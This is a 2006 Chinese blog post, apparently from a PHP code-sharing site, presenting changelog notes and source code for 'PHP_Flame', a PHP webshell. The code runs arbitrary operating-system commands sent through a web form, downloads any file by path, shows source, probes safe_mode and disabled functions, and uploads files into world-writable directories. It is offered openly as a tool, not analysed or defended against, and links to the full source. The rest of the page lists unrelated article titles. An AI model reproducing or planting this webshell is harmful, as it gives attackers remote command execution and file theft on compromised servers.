PHP_Flame(Version:Progress)的原代码


Posted in PHP onOctober 09, 2006

I PHP_Flame (Version: Progress ) 的一些信息:

*修正了无法下载文件的BUG
*修正了无法返回上级的BUG
*修正了代码编辑出现错误的BUG
......

*增加PHPINFO的功能
*增加多文件下载的功能
*增加执行系统命令的功能
*增加代码查看功能
*增加服务器安全探测功能
.......

*还有许多美化工作。。。。。。 相关的资料:

1。修正了无法返回上级的BUG的代码:
echo "<a href=\"$php_self?act=dir&dir=$dir\..\">返回上级</a>";

2。修正了无法下载文件的相关代码:
case "download":
if (!@is_file($_GET['file_name']))
echo"你要下的文件不存在";
$filename = basename($_GET['file_name']);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP3 Generated Data');
readfile($_GET['file_name']);
break;

3。增加代码查看功能
<a href="<?echo$php_self;?>?actionaa=cmd&method=show_source&cmd=<? echo $_GET['file'];?>" target=_blank>文件代码</a>

4。修正了代码编辑出现错误的代码:
$tem= str_replace("/textarea>","//textarea>",$tem);
。。。。。
$tem= str_replace("//textarea>","/textarea>",$tem);

5。增加服务器安全探测功能:
if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>");
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","<br>",$dis_func);
echo("$dis_func");
}

6。执行系统命令部分的代码:
<?
if ($actionaa=="cmd") { ?>
<body bgcolor="#6595d6">
<form name="form1" method="post" action="<?= $PHP_SELF ?>?actionaa=cmd">
<select name="method">
<option value="system" <? if ($method=="system") { echo "selected"; } ?>>system</option>
<option value="passthru" <? if ($method=="passthru") { echo "selected"; } ?>>passthru</option>
<option value="show_source" <? if ($method=="show_source") { echo "selected"; } ?>>show_source</option>
<option value="opendir" <? if ($method=="opendir") { echo "selected"; } ?>>opendir</option>
<option value="popen" <? if ($method=="popen") { echo "selected"; } ?>>popen</option>
</select><br>

<input type="text" name="cmd" size="40" value="<?= $cmd; ?>">
<input type="submit" name="Submit" value="<?=$method?>">
<br>
</form>
<?
if (!$method) { $method="system"; }
if (!$cmd) {
echo "* JSW'S PHP FLAME<br>";
echo "* Author: JSW<br>";
echo "* safe_mode:";if (get_cfg_var("safe_mode"))echo"on<br>";else echo"off<br>";
echo "* disable_functions:";$dis_func=get_cfg_var("disable_functions");
if ($dis_func=="")
{
echo("<font color=red><b>no value</b></font>");
}
else
{
$dis_func=str_replace(" ","<br>",$dis_func);
$dis_func=str_replace(",","<br>",$dis_func);
echo("$dis_func");
}

echo "<br>* Now please choose a function and enter the command......";
}
echo "<br><pre>";
if ($method=="system") {
system("$cmd 2>&1");
}
if ($method=="passthru") {
passthru("$cmd 2>&1");
}
if ($method=="opendir") {
$h=opendir($cmd);
while($file=readdir($h)) {
echo "$file\n";
}
}
if ($method=="show_source") {
if (show_source($cmd)) {
//echo "<pre>";
//echo show_source($file);
//echo "</pre>";
} else {
echo "<script> alert(\"unable to read file: $file using: show_source\"); </script>";
}

}
if ($method=="popen") {
$pp = popen('$cmd 2>&1', 'r');
$read = fread($pp, 2096);
echo $read;
pclose($pp);
}
echo "</pre>";
exit;
}
?>

7。增加文件上载的代码:
<?php
if($dir=="")
$dir="./";
?>
<?
if($tools==upload)
{
for($i=1;$i<21;$i++)
{
$temp1="userfile".$i;
$temp2="userfile".$i."_name";
$source=$$temp1;
$source_name=$$temp2;
if(@$source!="")
{
@$v=file_exists($filedir);
if(!$v)
{
mkdir(@$filedir,0777);
}
@chmod($filedir,0777);
if(file_exists("$filedir/$source_name")=="1")
{
if($up_flag=="y")
{
@unlink($filedir/$source_name);
@copy($source,"$filedir/$source_name");
echo $source_name."已覆盖上传<br>";
}
else
echo $source_name."请重新上传!<br>";
}
else
{
@copy($source,"$filedir/$source_name");
echo $source_name."已上传<br>";
}
}
}//end for
echo"
<html>
<head>
<title>JSW'S PHP FLAME</title>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\">
<link href=t.css rel=stylesheet type=text/css>
<script language=\"javascript\">
function setid()
{
str='<br>';
if(!window.uploadForm.upcount.value
window.uploadForm.upcount.value>20
window.uploadForm.upcount.value==0)
window.uploadForm.upcount.value=1;
for(i=1;i<=window.uploadForm.upcount.value;i++)
str+='文件'+i+':<input type=\"file\" name=\"userfile'+i+'\" style=\"width:400\" class=\"tx1\"><br><br>';
window.upid.innerHTML=str+'<br>';
}
</script>
</head>
<body>
<body bgcolor=\"#6595d6\">
<table width=\"550\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" align=\"center\">
<form name=\"t\" method=\"get\" action=\"?\">
<tr class=\"t2\">
<td><li> 1.指定上传目录(默认为本程序所在目录)
<input type=\"hidden\" name=\"tools\" value=\"upload\">
<input type=\"text\" name=\"dir\">
<input type=\"submit\" value=\"确定\" name=\"t\"></td></li>
</tr>
</form>
<form name=\"uploadForm\" method=\"post\" action=\"?tools=upload&dir=$dir\" enctype=\"multipart/form-data\">
<tr class=\"t2\">
<td>
<li> 2.需要上传的个数(建议最大值 20)
<input type=\"text\" name=\"upcount\" class=\"tx\" value=\"1\">
<input type=\"button\" name=\"Button\" class=\"bt\" onclick=\"setid();\" value=\"设定\">
</li>
<li> 3.全部文件都覆盖上传: <input type=\"radio\" name=\"up_flag\" value=\"y\">是<input type=\"radio\" name=\"up_flag\" value=\"n\" checked>否
</li>
<br>
<br>
您的文件将被上传到: $dir
<input type=\"hidden\" name=\"filedir\" class=\"tx\" value=\"$dir\">
<a href=\"?\">返回PHP_Flame</a>
</td>
</tr>
<tr>
<td id=\"upid\" height=\"122\"> 文件1:
<input type=\"file\" name=\"userfile1\" style=\"width:400\" class=\"tx1\" value=\"\">
</td>
</tr>
<tr>
<td>
<input type=\"submit\" name=\"upload\" value=\"上传\" class=\"bt\">
<input type=\"reset\" name=\"reset\" value=\"重执\" class=\"bt\">
</td>
</tr></form>
</table>
</body>
</html>";
exit;}
?>

。。。。。。
最后指明的是,这个PHP程序是在安然的PHP Command的基础上编写的,在此表示感谢,完整代码: http://jsw.china12e.com/jswsoft/show.php

PHP 相关文章推荐
我的论坛源代码(九)
Oct 09 PHP
escape unescape的php下的实现方法
Apr 27 PHP
js下函数般调用正则的方法附代码
Jun 22 PHP
献给php初学者(入门学习经验谈)
Oct 12 PHP
无法在发生错误时创建会话,请检查 PHP 或网站服务器日志,并正确配置 PHP 安装(win+linux)
May 05 PHP
php生成随机字符串可指定纯数字、纯字母或者混合的
Apr 18 PHP
基于CakePHP实现的简单博客系统实例
Jun 28 PHP
使用XHProf查找PHP性能瓶颈的实例
Dec 13 PHP
thinkPHP框架实现类似java过滤器的简单方法示例
Sep 05 PHP
PHP模版引擎原理、定义与用法实例
Mar 29 PHP
Laravel框架运行出错提示RuntimeException No application encryption key has been specified.解决方法
Apr 02 PHP
YII2框架中使用RBAC对模块,控制器,方法的权限控制及规则的使用示例
Mar 18 PHP
图形数字验证代码
Oct 09 #PHP
用PHP函数解决SQL injection
Oct 09 #PHP
session 的生命周期是多长
Oct 09 #PHP
做个自己站内搜索引擎
Oct 09 #PHP
用libTemplate实现静态网页的生成
Oct 09 #PHP
php注入实例
Oct 09 #PHP
967 个函式
Oct 09 #PHP
You might like
一个MYSQL操作类
2006/11/16 PHP
php常用Output和ptions/Info函数集介绍
2013/06/19 PHP
PHP的error_reporting错误级别变量对照表
2014/07/08 PHP
YII Framework框架教程之国际化实现方法
2016/03/14 PHP
CodeIgniter记录错误日志的方法全面总结
2016/05/17 PHP
PHP文件上传操作实例详解
2016/09/27 PHP
JavaScript面象对象设计
2008/04/28 Javascript
JavaScript 事件的一些重要说明
2009/10/25 Javascript
跨域表单提交状态的变相判断代码
2009/11/12 Javascript
JavaScript 未结束的字符串常量常见解决方法
2010/01/24 Javascript
AngularJS HTML编译器介绍
2014/12/06 Javascript
nodejs中的fiber(纤程)库详解
2015/03/24 NodeJs
鼠标悬停小图标显示大图标
2016/01/22 Javascript
jQuery插件datatables使用教程
2016/04/21 Javascript
RequireJS简易绘图程序开发
2016/10/28 Javascript
JS实战篇之收缩菜单表单布局
2016/12/10 Javascript
基于BootStrap栅格栏系统完成网站底部版权信息区
2016/12/23 Javascript
jquery,js简单实现类似Angular.js双向绑定
2017/01/13 Javascript
深入理解JavaScript中的for循环
2017/02/07 Javascript
JS闭包可被利用的常见场景小结
2017/04/09 Javascript
BootStrap daterangepicker 双日历控件
2017/06/02 Javascript
详解VUE 数组更新
2017/12/16 Javascript
JavaScript设计模式之工厂模式和抽象工厂模式定义与用法分析
2018/07/26 Javascript
python中字典dict常用操作方法实例总结
2015/04/04 Python
Mac中Python 3环境下安装scrapy的方法教程
2017/10/26 Python
Python3 venv搭建轻量级虚拟环境的步骤(图文)
2019/08/09 Python
python 求定积分和不定积分示例
2019/11/20 Python
使用HTML5加载音频和视频的实现代码
2020/11/30 HTML / CSS
伦敦最著名的老字号百货公司:Selfridges(塞尔福里奇百货)
2016/07/25 全球购物
计算机本科生自荐信
2013/10/15 职场文书
高校学生干部的自我评价分享
2013/11/04 职场文书
实习生的自我评价
2014/01/08 职场文书
中级会计职业生涯规划书
2014/03/01 职场文书
2015年转正工作总结范文
2015/04/02 职场文书
《敬重卑微》读后感3篇
2019/11/26 职场文书
Spring Data JPA框架的核心概念和Repository接口
2022/04/28 Java/Android